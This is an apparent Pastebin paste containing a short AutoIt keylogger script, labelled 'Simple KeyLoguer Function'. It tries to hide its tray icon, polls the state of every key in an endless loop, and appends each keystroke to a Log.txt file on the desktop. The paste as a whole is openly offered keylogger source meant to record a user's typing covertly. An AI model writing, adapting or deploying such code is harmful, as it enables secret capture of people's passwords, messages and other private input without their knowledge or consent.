Guest User

Untitled

a guest
Dec 4th, 2015
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. #NotrayIcon
  2. #include <WinAPI.au3>
  3. ;==============================
  4. ; AutoIt
  5. ; Autor : M3
  6. ; Simple KeyLoguer Function
  7. ;==============================
  8.  
  9. sGetKey()
  10.  
  11. Func sGetKey()
  12.  
  13. While 1
  14.  
  15. Local $sKey, $Result , $Log
  16.  
  17. For $sKey = 1 To 255
  18.  
  19. $Result = _WinAPI_GetAsyncKeyState($sKey)
  20.  
  21. If $Result = -32767 then
  22.  
  23. $Result = Chr($sKey)
  24.  
  25. $Log = FileOpen(@DesktopDir & "\Log.txt", 1)
  26.  
  27. FileWrite($Log, $Result)
  28.  
  29. FileClose($Log)
  30.  
  31. EndIf
  32.  
  33. Next
  34.  
  35. WEnd
  36.  
  37. Endfunc
Advertisement
Add Comment
Please, Sign In to add comment